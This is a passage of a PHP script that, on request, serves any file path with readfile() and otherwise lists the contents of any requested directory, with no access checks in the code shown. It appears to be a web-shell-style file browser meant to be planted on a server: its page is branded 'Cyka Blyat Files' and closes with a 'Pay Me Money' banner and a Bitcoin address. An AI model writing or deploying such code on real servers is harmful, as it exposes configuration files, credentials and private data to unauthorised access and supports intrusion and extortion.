'text/html',
'css' => 'text/css',
'js' => 'application/javascript',
'png' => 'image/png',
'jpg' => 'image/jpeg',
'jpeg' => 'image/jpeg',
'gif' => 'image/gif',
'gz' => 'application/gzip',
'zip' => 'application/zip',
'pdf' => 'application/pdf',
'rar' => 'application/vnd.rar',
'tar' => 'application/x-tar'
];
$contentType = $contentTypes[$extension] ?? 'text/plain';
header("Content-Type: $contentType");
readfile($path);
exit;
}
if ($shouldOutputHTML) {
echo "";
echo "";
echo "
";
echo '';
echo '';
echo "";
echo "Cyka Blyat Files";
echo "";
echo "";
echo "<---Cyka Blyat Files Here---> " . htmlspecialchars($currentDir) . "
";
if ($currentDir != '.') {
echo "../
";
}
$items = scandir($currentDir);
echo "";
foreach ($items as $item) {
if ($item == '.' || ($item == '..' && $currentDir == '.')) {
continue;
}
if (is_dir($currentDir . '/' . $item)) {
echo "- $item/
";
} else {
echo "- $item
";
}
}
echo "
";
echo "<-----------Blyat------------>
";
echo ">--------Pay Me Money--------<
";
echo "BTC:3CXFRVX7FhZkeizFgsZp6t6MLuMdGj3wQs
";
echo "";
echo "";
}